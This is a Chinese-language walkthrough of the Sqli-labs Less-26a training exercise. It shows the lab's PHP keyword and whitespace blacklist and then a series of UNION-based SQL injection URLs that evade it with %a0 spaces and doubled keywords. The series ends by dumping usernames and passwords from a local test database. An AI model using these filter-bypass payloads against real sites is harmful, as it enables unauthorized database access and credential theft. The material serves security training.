Sqli-labs Less-26a 繞過 or、and、注釋符、空格、斜杠過濾 union注入

關鍵代碼

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());

這關與less26的區別在於，sql語句添加了一個括號，同時在sql語句執行拋出錯誤后並不在前台頁面輸出。所以我們排除報錯注入，這里利用union注入。

我們構造payload：

http://127.0.0.1/sqllib/Less-26a/?id=100')union%a0select%a01,2,3||('1

Explain：基礎與less26一致，我們直接用 ') 閉合前面的，然后跟上自己構造的注入語句即可。最后利用（'1 進行閉合即可。

 

1、爆當前數據庫

http://127.0.0.1/sql/Less-26a/?id=100')union select 1,database(),('3

將空格替換為%a0

http://127.0.0.1/sql/Less-26a/?id=100')union%a0select%a01,database(),('3

 

2、爆數據庫

http://127.0.0.1/sql/Less-26a/?id=100')union select 1,(select group_concat(schema_name) from information_schema.schemata),('3

將空格替換為%a0，將information_schema替換為infoorrmation_schema

http://127.0.0.1/sql/Less-26a/?id=100')union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata),('3

 

3、爆數據表

http://127.0.0.1/sql/Less-26a/?id=100')union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),('3

將空格替換為%a0，將information_schema替換為infoorrmation_schema

http://127.0.0.1/sql/Less-26a/?id=100')union%a0select%a01,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),('3

 

4、爆數據列

http://127.0.0.1/sql/Less-26a/?id=100')union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),('3

將空格替換為%a0，將information_schema替換為infoorrmation_schema，將and替換為aandnd

http://127.0.0.1/sql/Less-26a/?id=100')union%a0select%a01,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0aandnd%a0table_name='users'),('3

 

5、爆內容

http://127.0.0.1/sql/Less-26a/?id=100')union select 1,(select group_concat(username,0x3a,password) from users),('3

將空格替換為%a0，將password替換為passwoorrd

http://127.0.0.1/sql/Less-26a/?id=100')union%a0select%a01,(select%a0group_concat(username,0x3a,passwoorrd)%a0from%a0security.users),('3